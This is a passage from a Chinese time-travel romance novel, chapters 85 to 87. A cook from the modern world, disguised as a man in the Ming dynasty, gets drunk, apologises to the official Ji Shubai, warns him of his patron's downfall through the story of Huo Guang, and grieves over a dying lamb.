方子是一早就想好的,用甜瓜汁加冰,再配上酒,雪克杯没有那就不摇了,反正自己在家喝也没那些讲究。
眼下正是食甜瓜的季节,县衙供给潘晟的自然不会少。宋瑾取了瓜,刨了皮,去了瓤,将中心甜软的部分用勺子刮下,单独用纱布过滤出汁水来。
至于剩下偏硬的部分,则用刀切成小块,用石臼捣碎再过滤出汁来。
她带着县衙的下人在厨房捣鼓出不少,又取了冰,这才一起端了回花厅。
季舒白临时有事被人叫走,回来的时候已经过去大半个时辰,他走到花厅外头,就听见里面热热闹闹的一片。
什么“夏云峰,火烧梅,烧出了半江红,苦了野田禾稻半枯焦。”
什么“丑奴儿,遇到了公领孙,牛腰三尺粗,一顿吃下七八碗软蔓青。”
一阵嘻嘻哈哈的声音传来,季舒白在外头听着,听得眉头直拧。乱行令也就罢了,关键是每一次行完他都听见潘晟说“我喝我喝”的声音,似乎怕酒被人抢走了似的。
他加快脚步走了进去,这一看不得了。
潘晟已经半个人趴在桌上,手里还攥着个空杯子。那潘姑娘就在边上坐着,脸上红通通的,眼神带着迷离。
至于宋瑾,在他进来的第一时间就站起来了,好似正常人一般,可仔细一看就发现不对劲,眼睛直愣愣的,一只手还勾着桌沿,只怕一松手就要栽倒了。
“你喝了多少?”
宋瑾只轻轻摇头,并不张口答话,季舒白一下就知道喝多了。
他赶紧招人来把潘晟送回去,潘姑娘则由她自己的下人送走,至于宋瑾,好似身子里长了根棍子,直愣愣地杵在那里,站得笔直。
“可能走动?”
宋瑾还是摇头不说话。
季舒白一看,人喝傻了喝懵了,不禁长叹一口气后在屋里环视一圈,全是男子,只有潘姑娘身边带着女子,可是此刻也已经走了。
他转头瞪了眼直愣愣的宋瑾,弯腰去抱人,可这人还抱不起来,一双腿跟脾气一样,犟的发直。
季舒白敲敲她的膝盖:“放松。”
宋瑾听话地放软了膝盖,结果这一放整个人都放掉了,软趴趴地一下歪在季舒白的肩上,两只手本能地就攀了上去。
季舒白抱起人调整了下姿势,宋瑾也调整了下姿势,这一调整把季舒白给调整的愣住了。
宋瑾胳膊架在季舒白的肩头,两只手臂环绕着脖子,紧紧抱住,一颗脑袋也往脖颈里钻去。
起先还只是额头贴着脖子,后来鼻尖贴了上来,再后来连嘴唇也贴了上来,贴的季舒白整个人都愣住了,连呼吸都忘了。
宋瑾不知道这些,她只知道鼻尖里钻进来一股香气,淡淡的,分辨不清,眼睛也睁不开,只能用鼻子去寻找,结果寻着寻着就寻到季舒白的脖子里去了。
这个男人香香的。
她就这么嗅着香气,窝在脖颈里,一动不动,任季舒白叫她怎么放松,她也没听见,最后季舒白只得硬着头皮抱着人出门去了。
一路上遇见的每一个人都用异样的目光看向季舒白和他怀里的人。
见过抱人的,没见过这么抱人的,就说关系不简单吧。
听说有些人就好这口,你看怀里那男人,那么弱小,跟个女人似的,一看就不单纯。
单纯能带出来嘛?
不用细听,季舒白就能猜的出来那些人会怎么议论他,此刻他身上跟要长针似的,浑身不自在,只得加快脚步往宋瑾的屋舍里去。
宋瑾在怀里被晃的有些清醒起来,终于肯松开手,将脑袋抬起来,季舒白松了口气。
“马上就到了。”
宋瑾呆呆的,看着那一张一合的嘴巴,再看看脸,眼睁睁看着一个鼻子变成两个鼻子,两只眼睛变成四只眼睛。
季舒白的脑袋分了叉。
宋瑾忽然伸手,一把抱住了季舒白的两颗脑袋,用力往中间挤压,誓要将那两颗脑袋合并到一起。
“你干什么?”
宋瑾没答话,一双眼睛又盯上了那一张一合的红唇,她好奇地伸出拇指摩挲了一下。
软软的,滑滑的,凉凉的。
“你别乱动!”
季舒白气的不轻,几乎就要跑起来。
宋瑾的视线离不开那双唇,红红的,不是很厚,唇角尖尖,唇峰明显,像是美工笔勾勒出来似的,实在诱人。
有便宜不占王八蛋。
宋瑾以迅雷不及掩耳之势,迅速往上一凑,眼看着就要吻上了,屁股上却传来一阵剧痛。
季舒白实在恼火,不听劝把自己喝醉也就罢了,抱人回屋也罢了,可她把嘴唇都贴到他的脖子上了,还一路被人看着,眼瞅着就到了屋里,马上就要放到床上了,她又来抱他的脸,还用力挤,挤到最后居然还来吻。
火的他双臂一抖,叫宋瑾在他臂弯里打了个滚,直接滚到床上去了。
宋瑾摔了一下,面朝着墙壁又懵又清醒,心里还在疑惑到底亲着了没有时,背后传来季舒白的骂声。
“你一个女子,怎能做出这等事情来?”
“你......你......”
“等你明日清醒了,我再同你算账!”
宋瑾摸了摸自己的唇,怎么也想不起来亲上了没有,此刻又挨了顿骂,索性扯过被子盖住脑袋装睡去了。
明日的事情明日再说。
再醒来时,已经日上三竿,又过了一日了。
宋瑾连续两日宿醉,头疼还晕,起身后跌跌撞撞出去找水洗漱,结果刚折腾完就遇上一个文吏。
“哟,陆公子,在这呢,季大人说你醒了后即刻去找他。”
宋瑾宁愿还没醒。
“哦,对了,季大人现下在潘大人处,你直接去潘大人那里哈。”
那人说完还上下打量了一眼宋瑾,嘴角带着意味不明的笑意。
宋瑾宿醉是真,但不至于断片,脑子里记得清清楚楚,她昨天差点儿非礼了季舒白。
说是差点儿,是因为她真的记不住亲上了没。
此刻叫自己过去,定是要算账的。
宋瑾叹了口气,人在屋檐下,不得不低头啊,因此垂头丧气地往潘大人那屋舍里去了。
潘大人屋里此刻人不少,除了厅里的,还有些个在卧房里。
宋瑾打眼一瞧,县令和季舒白都在呢。
怎么不给人睡觉呢?
就在宋瑾伸长脖子朝里张望时,季舒白一眼瞥见了她,立刻快步走了出来。
不妙,是要算账的架势。
“我问你,昨日你们喝了多少?”
宋瑾转动她那还不太清晰的脑子:“......挺多的吧。”
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“挺多是多少?”
宋瑾皱了皱眉,拼命回想昨日季舒白走后的情景。
那酒挺受欢迎的,潘晟赢了要喝一杯助兴,别人输了要喝一杯作陪,起先还是酒盅,后来嫌弃不过瘾,换成了茶杯,酒壶空了自有人满上,压根就没停过,她根本记不住到底喝了多少。
“不......不记得了。”
季舒白深深叹气。
“不过应当没事,我也没事啊。”
“你多大岁数?潘大人多大岁数?”
宋瑾一听也慌了,脑子想着这一年潘晟该有六十多了吧?
完了,该不会被她的酒给喝死了吧?
眼看着季舒白重新进去,宋瑾也站不住了,跟在后头进了屋,视线穿过众人的肩头,她看见潘晟嘴唇微张,唇色发白,两眼紧闭,任身边人怎么推怎么唤都没有动静。
这下真完了。
宋瑾慌了神,身子发软,一下靠在了衣柜上,脑子不断想着这不对劲啊。
按历史记录,潘晟在张居正死前被召入京,后来虽然没再做官,可还是活了好几年的,一直到七十多岁才作古,怎么今日就折在她手里了呢?
宋瑾想,完了,历史路线被她给改了。
等等!
宋瑾想到一个新的可能。
若是她真把潘晟给喝死了,历史记录也就改了,那是不是可以改掉更多?
比如让李成梁直接干掉成吉思汗两兄弟,防止女真势力扩大。
可叫谁去拿下建州呢?总不能让黑龙江变国外吧。
实在不行就干掉万历那个崽子,掀了老朱那帮光吃不吐还巨能生的后人,她自己登基做女帝。
可上哪里找人手来帮自己呢?
宋瑾的脑子还不清醒,思绪一下从潘晟要死了蹿到了掀翻大明王朝,拿下建州女真,登基女帝,推翻封建制度,直到一阵咳嗽声传来,紧接着一群人叫唤:
“潘大人?潘大人?你醒了?”
女帝梦断。
“嗯——”
潘晟那双疲倦的眼睛,硬是被几人给吵的睁开了。
“都在呢......”
“都在呢,您可吓死学生了。”
“喝......喝多了。”
潘晟醒了,众人松了口气,宋瑾伸向万历的屠刀也收了回来,季舒白的眼神却看了过来。
“跟我出来。”
宋瑾垂头搭脑地跟出去了。
季舒白在院中停下脚步。
“往后做事能不能有些分寸?”
“哦。”态度极好,一丝不辩。
“你昨日喝了多少?”
“一点点。”
“一点点?”
宋瑾咬牙点头,季舒白简直想笑:“那就是说你记得昨日发生的事情,对么?”
宋瑾立马摇头:“不记得了。”
季舒白一双唇几乎抿成一道缝:“你倒撇的干净。”
咬牙切齿的。
“往后出门在外,不许你再喝酒。”
宋瑾忙不迭点头。
不知道季舒白是真信了,还是眼下没空去计较,总之宋瑾逃过一劫,直到青杉过来找她。
“你又招惹我家大人了?”
宋瑾抱着甜瓜啃,根本不敢搭腔。
“你怎么总惹我家大人?”
宋瑾也挺愧疚的:“我喝多了,不是故意的。”
“那你去哄哄呀,你是不知道我这两日挨了多少顿训斥了。”
85. 道歉
宋瑾自认不是个没良心的人,气到了季舒白她是认的,不只是非礼,也为了那日话没说清,引起诸般误会。
可是真要去道歉,她又怕了,本来那事一提他就火,自己再提岂不是更火,万一一把火烧着了自己怎么办?
她抗季舒白的打击能力几乎为零啊。
眼下青杉来找她,央她去道歉,让他有好日子过。她思索再三,决定去了。
磨磨蹭蹭的走到季舒白的书房门外,宋瑾又停了脚步。
“你倒是去呀。”青杉催她。
“我想想要怎么开口。”
青杉叹息一声,道:“你等着。”
说罢转身离去,等回来时手上已捧着一盏茶了。
“端进去,好好说话。”
宋瑾端着一杯安吉白茶往书房中去了,季舒白只当是青杉进来,并未抬头,直到宋瑾低声说了句:“季大人,请喝茶。”
季舒白茫然抬头:“怎么是你?”
语气不善。
宋瑾拉着脸,垂着头,默默将茶往前送。
“找我有事?”
“......没。”
“那就回去吧。”
来都来了。
宋瑾没走,将那杯茶伸到季舒白面前,半晌,被一双手接过,接着是轻微的一声响。
季舒白没喝茶,而是摆在了一边。
书房里安静无比,宋瑾杵在那里,缓缓开口。
“大人,那日是奴家多嘴,说了不该说的话,希望大人不要生气。”
她没听见季舒白说话,只听见桌案上纸张翻动的声音,过了会子才有个声音传来。
“知道了。”
宋瑾心里头直叹气,这人真难搞。
她站在那里不走,也不说话,季舒白翻看书卷的声音也停了下来。
“我知道你心有不满,可有时候仅仅不满是没有用的,往后这些事情不要再提。”
季舒白说完,眼看着宋瑾还是不走,只好补充道:“我说过,那日的事情不会跟你计较就不会计较,不用担心我会把你怎么样。”
宋瑾心中五味杂陈,说他坏吧,他还挺好,说他好吧,脾气又大,动不动就发脾火。她一个奴,永远只有做小伏低的份,这让她心有不甘,却又无可奈何。
但她记得一件事,那就是青杉曾经给她讲过的阶级。
依她的身份,能跟季舒白坐在一张桌上吃饭,在这个社会来说,他对她已经是不只是包容了,而是纵容过了头。
就是因为过了头,她才忍不住多嘴。
季舒白表了态,宋瑾也没法继续说下去,只好扭过身子,怏怏地往外走去,心里准备的一堆话全都咽了下去。
宋瑾心情不好,乱的很,一方面心里明镜似的知道应该巴结季舒白,毕竟连高策都要捧着他,将来自己若是有什么事,唯一能说的上话的,估计也就是这个人了。
另一方面也知道季舒白这个人的性子不会喜欢她,她是棵歪脖子树,不招他待见。
两相对比起来,宋瑾心中是有些自卑的,就像躲在角落的小丑不愿见光一样。
看不见光还好,看见了就自卑。
季舒白就是那个光。
他们都读过书,幼儿园时期的宋瑾也曾立志要做一个正直的人,一个有志向的人,一个会发光的人。
可不知怎么的,她无声无息的就长歪了,如今还逼着季舒白跟自己一起歪,就连做好人好事都会被人怀疑心思不纯,她辩都没机会辩,季舒白压根不怪她,越发显得她小人了。
过去三十年的时光教会她不要自辩,找准目标去冲就好了,流言蜚语都不必在意。可是当她知道季舒白的心里也有无限偏见的时候,她是想辩的,偏偏他不给机会,一张口就堵死了所有的路。
宋瑾沉默着往外走,巨大的孤独感像是洪水一般袭来,顷刻淹没了她。
如今她连个可以说话的人都没有。
她想找个角落待着,莫名的,这一回她想躲起来哭。
“陆姑娘。”
季舒白在身后轻轻唤了一声,宋瑾茫然抬头,却发现自己还没走到门口。
她有心事,脚下跟灌了铅似的,脑子里把前世今生都转了个遍,人还没有走出去多远。
“有心事?”
宋瑾茫然转过身来,看见季舒白的表情认真的很,木讷地点头:“嗯,有心事。”
季舒白合上手中书册,道:“坐下说。”
宋瑾呆呆挪到下首一张背对着窗户的圈椅上坐了。
“怎么回事?”
季舒白好心,宋瑾却开了不了口。
说什么?说自己不被人理解觉得很孤单么?说自己其实没那么坏么?说想季舒白再对她好点么?
“想家了。”
季舒白叹了口气:“过两日我们便去吴江县,到时候我加快些,很快就能回去。”
宋瑾没的话说,眼泪啪嗒啪嗒的往下掉,季舒白闹不明白。
“到底是怎么了?”
诚实这东西很神奇,你不稀罕的时候说扔也就扔了,等稀罕的时候想捡,却怎么也捡不回来。
她没办法对季舒白说实话,季舒白自然关心不到地方,可她没办法对任何人说实话。
她注定孤独。
宋瑾回答不了,季舒白的眉头蹙起,他可不大会猜女人心思。
“是我之前太凶了?”
宋瑾摇头。
“是谁为难你了?”
宋瑾还是摇头。
“是我那日说的太过了?”
宋瑾抬起了头,眼睛里带着异样的光,是眼泪混合着希冀的光。
“是你误会我了。”
凶不凶的还是其次,无法解除的误会才叫她憋屈。季舒白的身份让他完全不必在意宋瑾的小小冲撞,就像百万富翁不介意丢了一块金子,而乞丐无比珍惜手里拿块脏馒头。
宋瑾极想验明正身。
季舒白一愣:“我哪里误会你了?”
“那日在吴淞江边,你误会我的话了。”
季舒白想起来了,那日她骂高策是吸食底层百姓鲜血的鬼,骂读书人一心为了利益,不顾百姓死活,还劝他若是不能改变这些,便离远些。
他不觉得这是个误会,她骂的清清楚楚明明白白,哪里来的误会?
“你倒说说,怎么个误会法。”
宋瑾又哑了:“我说了,你又该骂了。”
“所以还是你说话难听。”
宋瑾吃瘪,垂着头不说话,又哭将起来。
季舒白举手投降:“好好好,你说,那日我们之间有什么误会。”
宋瑾这才开了口:“我不是要骂人,我是......我是觉得......我是觉得眼下这情形有些眼熟。”
“哦,哪里眼熟了?”
宋瑾抬起头来,一双眼睛直勾勾地盯着季舒白,盯得他心里发毛。
“大人可曾听过霍光?”
季舒白搭在桌面的手指指尖一颤:“你什么意思?”
宋瑾又垂下头去:“不能说,说了大人要问我的罪。”
季舒白这才明白宋瑾那日绕了天大的一个弯子,愣是到最后也没绕到正事上去。
因为不能谈,或者说谈起来风险太大了。
他忽然站起身来,宋瑾惊了一跳,还以为他又要来骂自己,结果就见他径直走到门边唤来青杉。
“门口守着,有人过来先通报。”
说罢将门关上了,这才坐到宋瑾对面:“你继续说。”
宋瑾有些不大适应。
季舒白一身蓝色官袍,面向窗户坐着,整个人都笼罩在一层光里。又因为门被关上了,屋内光线变暗,使他看起来像是被调过清晰度的老旧电影。
古朴又清晰,熟悉又痛心,像记忆里不可追溯的旧日时光。
“大人不觉得,我朝有些人的情形,很像当年的霍光么?”
季舒白沉默着垂下眼帘,没有接话,双手微微捏紧了些。
“论权势,霍光既立帝也废帝,不可谓不大。论恩情,刘病已流落民间数年,只因为他的推举,便重登帝位,不能说不重,可是结果呢?”
结果人尽皆知。
刘病已改名刘洵,登上帝位,委政于霍光。
说是委政,不过是个说辞,他必须得委政,不然就是第二个刘贺,不足一月便被废掉。
宋瑾最初听到这个名字的时候,以为这个人不过是依仗哥哥霍去病的权势得以在长安施展
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拳脚,后来再看,才发现此人计谋深远。
说到权臣,人们印象总是计谋高深,嚣张跋扈,吓的皇上也不敢说不,实际上确实如此,但又不仅仅是如此。
论计谋,他能在立帝时留下把柄,以至于说废就废。
论嚣张,显敢毒杀皇后,硬是把自己的女儿变成皇后。
但又不仅仅如此。
史书记载此人稳重少言,在武帝晚期获得信任,成为钦点的辅佐大臣之一,后来又在与上官桀的权利对抗中不落下风,最终获得胜利就很已经说明问题了。
但即使如此,也不能避免死后被灭族的命运。
季舒白不赞同:“当然不一样。霍光虽然老成持重,但霍家族人却并非如此,若是霍显不去毒害皇后,未必会招来这等大祸。”
“大人认为宣帝是在霍光死后才得知许皇后死亡的真相么?”
季舒白一时哑口,宋瑾又问:“换个问法,若是宣帝早已知道真相,你认为他会发怒么?若是不知道真相,为何霍光死后他便很快就知道了真相?”
季舒白的瞳孔肉眼可见的震颤。
因为权利顶端的人,永远在被人记恨。
活着的时候不能耐你,但死后便是另一番景象了。
霍光从风光大葬,到族人被灭,也不过短短两年而已。
两年,恰恰是张居正死后到被抄家的时间。
历史总是这般巧妙。
“不......不会的,你少危言耸听!”
季舒白起先还坐的悠闲自在,双膝大张,两臂搭在圈椅的扶手上,此刻已经显出慌张的神色来,连膝盖都微微并拢了些,双手有些紧张地捏住膝盖。
这句话不像是说给宋瑾听的,更像是拿来给自己加油打气的。
“先不论首辅大人深得太后......”
季舒白说到这里忽然住口,要知道宣帝时期的太后可是霍光的外孙女呢。
他立刻改了口,像是要说服自己:“首辅大人还年轻,况且权势也没有大到霍光那般,什么立帝废帝,军权在握,他威胁不到陛下。”
“他与戚将军李将军不熟么?”
季舒白呼吸变得急促起来,语气也开始混乱:“不会的,皇上年幼,统领百官,整治朝纲还需要依赖首辅大人,不会像你说的那样......”
“都说天子是龙,先不论真假,可若真是龙,又如何能接受一直依赖旁人,除非他是个不中用的。”
“你——”
对季舒白而言,辱骂天子乃是大罪,可到了此刻也不是计较这个的时候了。
“大人可曾听过一句话?”
“什么话?”
“大恩,如大仇。”
季舒白闭上眼,双唇颤抖着,试图想出一些话来反驳宋瑾的观点,然而越想越发现宋瑾说的有理。
“不会的,不会的,如今不一样了。”
他缓缓睁开眼,身上已然出了一身冷汗。
“局势可能会不一样,但人心,千年不变。”
宋瑾幽幽的出声,给他心中的想法判了死刑。
“我本不该给大人说这些,也不适合说这些,只是大人有恩与我,我也没有什么可以报答大人的。今日把话说透,只是想提醒大人,有些事情必然会来,至于如何应对,那就是大人的事情了。”
“无论如何,我希望大人平安顺遂。”
宋瑾把心中想法全数托出,顿时松了口气。
“你说这些是为了报恩?”季舒白有些不大理解,在他心里宋瑾可不是什么好人。
贪财,谎话连篇,心术不正,不懂礼数,种种缺陷他能数出一堆来。
至于优点......
“坏人有时候也会做好事,好人有时候也会做坏事。就像首辅大人,无论你认为他所作的事情是多有利于我大明,也不妨碍有人恨他。”
“是好人,是坏人,得看评价的人是个什么人。于大人而言,我机关算尽,陷害他人,绝对称不上好人。可是于那些和我一同脱籍的人而言,那我便是大恩人。”
“大人与我立场相对,自然看我不顺眼。我有求于大人,自然要处处讨好。”
“大人,这种事情没有对错,只是立场不同罢了。”
86. 小羊
这日下午,宋瑾与季舒白一阵对谈,话说的不多,汗却流了不少。
宋瑾说的不无道理。
当今陛下若是一直软弱,难免自尊心受挫,将来要如何报复还不好说。
若是个刚强的,又岂能容大权旁落,大明开国时是怎样的血雨腥风,大家都是有目共睹的。
恩情,于帝王而言,是悬在脖颈上的刀子。
我可以真诚的夸赞你,称颂你,但不能在你大权在握的时候。
你得落,一直落,落到了泥巴地里,我再亲自把你供起来,方才显得我大度。
季舒白谴走了宋瑾,临走之前他喝了一口茶,之后便独自坐在书房里,一个下午也没再出来。
这下青杉急了。
“我叫你去哄人,你怎么把人哄成这样?”
宋瑾把玩着手指道:“反正现在没生气了。”
“那也不吭气呀。”
“你再等等吧,实在不行我再哄一遍。”
宋瑾心里舒坦了,脸上又重新恢复了笑脸。
从心态上来说,眼下他们调了个个,终于轮到她大大方方了。
青杉叹气,坐在廊下一直守着那道门。
宋瑾看他这样,心里有些同情起来。
有些道理她很晚才懂,比如告诉一个人,他所关心的世界和人,在未来有一个不可逆转的悲伤结局,是一件很残忍的事情。
希望被破坏,意志也会跟着消沉,尤其是对于季舒白这样一个人来说。
正是意气风发的年纪,对美好未来有着无限向往,结果兜头一盆凉水浇下来,任谁也觉得难以接受。
这无疑是一个重大打击,宋瑾明白过来的时候也慌了,陪着青杉坐在那里看着门,一动不动的守着。
“你家大人从前也这样过么?”
青杉摇头。
人真麻烦,话憋在心里自己难受,说出来了别人难受,人活着就是个难受,击鼓传花一般的难受,传出去的花指不定什么时候又传到自己手上了。
宋瑾的下一次难受,在两个时辰后到来。
日头快要隐没群山的时候,那扇门打开了,季舒白走了出来,两人见了都迎了上去。
“大人?”
季舒白看了一眼宋瑾,问道:“你怎么还在?”
宋瑾一下觉得自己像个外人似的被人排斥,心里不大舒服起来,因此撇了撇嘴道:“那我走?”
“嗯。”
刚好没一阵的心情又跌了下去。
宋瑾自从长大后,极少感受到这种情绪过山车。说到底人是群居动物,是很难在一个毫无牵绊的世界潇洒活下去的。
在某些时刻里,她把能说的上话的季舒白当成了自己人,但显然人家不这么认为。
“等等。”
宋瑾有些欣喜地回头。
“今日你我之间的对话,不要再说与任何人听。”
宋瑾心知肚明,点了点头才走掉,身后传来季舒白的说话声。
“随我去找潘大人。”
小院中比之前要热闹些,宋瑾一进门就被一群叽叽喳喳的声音吸引过去,抬眼一看,好几个婆子小吏正围着那只小羊,不知道在说些什么。
宋瑾走近些去看,就见小羊侧躺在地上,嘴边放了一颗青菜和一碗水,然而那羊已经没有起来吃东西的力气了。
“这羊不行了。”
“当初我就说这羊指定救不活了,那么深的伤口,还是夏天,能活下去才怪。”
“那现在怎么办?”
“还能怎么办?要么给一刀子痛快些,要么让它痛死。”
“造孽哦。”
“可不是么,多活一日多一日的罪,还不如当时就给它杀了,多痛快。现在肉都烂了一大块,羊也活不了,平白受那么些罪。”
“唉,陆公子,你回来啦。”
宋瑾只觉得脑子里头嗡嗡直响,眼前渐渐模糊起来。
人类是很傲慢的生物,常常幻想做英雄,做救世主,仿佛拯救他人于水火之中方才能显得自己高贵善良。
可宋瑾深知自己不是个当英雄的料,所以当初就没有想过要带走这只羊,可临了,这只必死的羊还是来到了她的手上。
她从一开始就知道自己带不走它,也养不了它,所以要么立刻让它死,要么痛一阵子再死,宋瑾没有别的选择。
可是人生最艰难的,便是做决定,还是有关生死的决定。
它若只是人群中的一只普通小羊,或许宋瑾也没那么在乎,坏就坏在高策杀到一半,因为她而住了手,随后又送给了她。
它的命运从那一刻开始,便由宋瑾改变了,可她却无法负责到底。
宋瑾穿过众人,蹲在小羊的身边。
后腿上的那个伤口暗红发臭,引的几只苍蝇围着嗡嗡直叫。周围的皮肤已经红肿发亮,一双眼睛有气无力地半睁着,嘴巴微微张开,递到嘴边的青菜根本无力咀嚼。
每一个特征都在说明这只小羊时日无多了。
“陆公子,杀了吧,痛快些。”
“就是,与其熬着受罪,不如一了百了。”
“能做的都做了,它就是这个命。”
命?
她刚刚语言了季舒白的命运,如今又要面对小羊的悲惨命运。
宋瑾把手搭在小羊纤弱的脖颈上,柔软的羊毛下有滚烫的热度传来,烫的她手指发颤。
她把脑袋埋进膝间,一言不发。
“好好想想,就算不杀,不吃不喝的,也就是这一两日的事情了。”
众人散去,宋瑾一个人蹲在那里。
从前看电视,每当有美艳杀手干净利索的杀掉别人时,宋瑾总会觉得那很帅气,潇洒决绝不拖泥带水。当时她想要是她是杀手,她也会这样的,下手不带一丝犹豫。
可如今一只必死的羊摆在她面前,她发现自己能做的,竟然只有流眼泪。
长大之后,她从来没有觉得自己这般懦弱不堪。
不知道过了多久,一个脚步声传来。
季舒白蹲在她身边,伸手将她的手从小羊身上拿开。
宋瑾猛然抬头,被泪水浸润过的面庞在微弱的光线中泛着粼粼水光,一双眼睛发红发肿。
“交给我吧。”
宋瑾一把揪住了小羊后脖颈,阻止了季舒白抱走小羊。
“然后呢?”
“每只羊有每只羊的命运,你能做都做了,该放手了。”<
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p>季舒白说这话的时候无比轻松,嘴角还带着淡淡笑意,像是在安慰人一般,又像是看透生死一般。
“若是我不肯呢?”宋瑾犯起犟来。
“羊痛苦,你也痛苦,但改不了结局。”
宋瑾忽然嚎啕大哭,像是抢玩具抢输了的小孩子,凄厉无比。
季舒白松了抱羊的手,转而去抱住宋瑾的肩,将她从地上扶起,拖着人往屋里走。
宋瑾挣扎不过,硬是被拽走了。
季舒白把人按在凳子上,倒了杯茶递给宋瑾,等她喝完了才开始说话。
“你犯了个错误,可知道?”
出人意料的,宋瑾点了点头,倒把季舒白给点愣了一下。
“你是厨子,那只羊在那日的菜谱上,就算不在那日的菜谱上,也会在日后某一户人家的菜谱上。”
宋瑾的眼泪不受控制的往下流:“你怪我多嘴了,是不是?”
“不是,”季舒白轻声笑了笑:“对你而言,要忍住不吐,这很难。你良心不坏,觉得我会遇难,不说出来也很难。但是我想问你,苏州府有那么多的官差,你为什么偏偏挑了我去陷害?”
宋瑾呆愣了一下,连哭泣也忘了。
宋瑾选他,自然是因为觉得他是个守规矩的好人,因为守规矩才会被自己拿捏,甚至没有因此去报复她。因为他是好人才会容易被情感困住,坏人未必有那么丰富的善良情感。
她没有说出口,然而季舒白早就想明白了。
“如果我不是我了,你还能威胁到我么?如果我还是我,你觉得我会因为你的话而去改变做法么?”
宋瑾张了张唇,却说不出一句话来。
“你说人心千年不变,为什么又觉得我会因为几句话而改变?”
季舒白说这话的时候无比轻松,嘴角始终带着淡淡笑意,那是一种背负千斤后又慢慢放下的释然,语气平淡地同他人说起曾经的故事。
宋瑾再次泪流,一方面想狠敲他的脑壳,叫他清醒些。另一方面又觉得这个人实在单纯古板的可怕,可无论怎样,她都说服不了他。
每个人有每个人的命运。
羊有羊的命运,它注定要变成一道菜。
宋瑾有宋瑾的命运,上辈子不是好人,这辈子也无法完全从良。
季舒白有季舒白的命运,在这官场里,不是说进就进,说退就退的。
各有各的想法,各有各的坚持,谁也改变不了谁。
宋瑾忽然觉得庆幸起来,至少季舒白愿意跟她敞开了说这些话,而不是把她当个外人,一言不发。
“好了,别哭了,叫别人看见了,还以为我欺负你了,你现在可是在扮演男子。”
“男子也可以哭啊,你想哭也能哭,我又不会笑话你。”
季舒白愣怔了一下,忽然笑了起来:“好,下次我想哭的时候,一定去找你哭。”
“把脸擦擦,我让厨房给你做了些好吃的。”
说罢起身往外走去,宋瑾被他那一笑从悲伤的情绪里勾出来,从脸盆架上扯过手巾,胡乱擦了一把就跟了出来。
“什么好吃的?”
宋瑾问着话,视线落在刚刚栓小羊的那棵树下。
空空如也。
87. 世界
自从小羊被牵走以后,宋瑾不思饮食了两天,心里那根刺并未因季舒白的几句话而清除干净。
有时候她不觉得自己比小羊好到哪里去,都是任人宰割的命运,给你痛快一刀都要感谢人家仁慈,所以她拼了命的想脱籍。
她没有胃口吃饭,却格外关注了那两日的饭菜,并未见羊肉出现,心里松快了一些。
出发往吴江县的日子定在两日后,季舒白照常忙碌,宋瑾闲来无聊,也为了找点事做,好摆脱小羊带来的负面影响,于是一头扎进了厨房里,准备给潘晟整出些好吃的来。
初来乍到的宋瑾认为用二十一世纪常见的食物来拿捏大明人,是一件信手拈来的事情,直到她在辣椒一事上折戟,她才明白过来,饮食习惯其实有着极强的地域色彩。
徽州人吃臭鳜鱼,那是因为湖少,吃不着新鲜的,还穷苦,所以臭的也不舍得丢。
可换成鄱阳湖边试试,那就不一定吃臭鱼。
火锅能在蜀地流行,本质上还是因为当地太湿,需要热气的东西来抵抗。
广东泡不出好咸菜,因为气温使四季都能吃上青菜,离开东北,谁也不藏那么多大白菜,在苏州,你要做出大家认同的好吃的,就不要跟当地已经形成风格的口味对抗。
苏州人就爱吃甜糯软烂的东西,比如季舒白就爱吃甜食,辣一点就能哭。
她记得潘晟是浙江人,口味应当相似,于是备上了焦糖布丁和双皮奶,她也没亲自送去,只是请厨房的下人在送点心时一道送去。
结果那人一回来便说潘大人唤她过去,她这才匆匆忙忙地往潘晟那边去了。
花厅里人坐了好几人,潘晟和他那个外孙女,季舒白还有县令都在,各人面前都放了一碗她做的点心。
那潘晟一见她便笑:“原以为你只会调酒,没想到还会做这点心,倒是叫人刮目相看啊。”
说罢又招呼宋瑾去坐。
小圆桌配四个鼓凳刚刚好,宋瑾一去便拥挤起来,那裴姑娘站起身道:“来我这里坐吧,我也坐累了。”
宋瑾看了季舒白,见他没用眼神制止,便谢了那姑娘,自己坐了过去。
“那日见你调的什么酒,倒是新鲜,贪嘴喝多了些,没给你添麻烦吧?”
宋瑾听他这样讲话,不免紧张起来,摇头道没有。
潘晟又笑了,用下巴指着季舒白道:“他也没为难你?”
宋瑾忽然想笑,心想这人还蛮了解季舒白的,但她依然摇头说没有。
潘晟捻着下巴上那半尺长的花白胡须道:“你今日这点心做的不错,没想到小小年纪有这样的手艺,可惜了啊。”
宋瑾听他说可惜,又不明白可惜在哪里,只好听他继续说下去。
“人聪明是好事,但聪明太过就未必是好事了,比如那霍显,你说是吧?”
“啊?”宋瑾听他提霍显,心一下提到了嗓子眼。
“祖父,您吓着人家了。”
那潘姑娘在一边笑呵呵地道,潘晟摆出严肃面孔驱赶她:“去去,大人说话,小孩子不要插嘴,不像话。”
那潘姑娘笑意更甚:“表姐倒是像话,祖父怎的不带她出来?”
潘晟索性拿扇子敲了一下那姑娘的头:“多嘴,下回就不带你出来了。”
那潘姑娘一闪身跑开了:“我劝祖父您还是带着吧,否则谁放任您喝酒呀。”
潘晟笑笑地对桌上人解释:“小童顽劣,叫老夫给惯坏了,没规没矩的。”
无人敢怪。
潘姑娘离开了,那话题也被岔开了,只是宋瑾此刻已经明白过来。
做人别太聪明,一旦聪明了就想显摆,一显摆祸事就该跟着来了。
她一个普通人,无权无势,讨论什么朝堂呢?万一叫有心人听去了,还不知要怎么传谣言。
宋瑾并不具备多少的自保能力,那无疑是引火上身。
少说少错,活的长久。
她猜是季舒白告诉的潘晟,于是拿眼去瞄季舒白,果见他有些心虚地转开了。
好一个大漏勺。
潘晟似乎并不想继续刚刚的话题,点到即止,转而问宋瑾将来作何打算,那酒若是只他们喝过,实在可惜。
宋瑾顺势告诉他,自己回去后打算开个馆子,卖些酒菜,做些小生意。
“哈哈哈,好好好,将来若是有机会,老夫也要去往那长洲县尝上一尝。”
“会有机会的。”
宋瑾很肯定。
两日之后,季舒白一行人别了潘晟和那知县,乘坐驿船出发往吴江县去了。
重回船上,宋瑾睡的不踏实,心情也是忽而轻松,忽而沉重。
说轻松是因为自己在微微表露自身想法时,似乎没有受到严厉批评,这让她有一种被接纳的感觉。
说沉重是因为接纳她和她融入的那些人,注定要走向一场悲剧,而她无力阻拦。
从前她看小说,似乎每个回到历史线路里的人,总想着要改变什么。但宋瑾是个悲观主义者,她认为有些事情确实可以改变,但必将引起其他的震荡。
那震荡是什么她不知,所以根本不敢妄动。
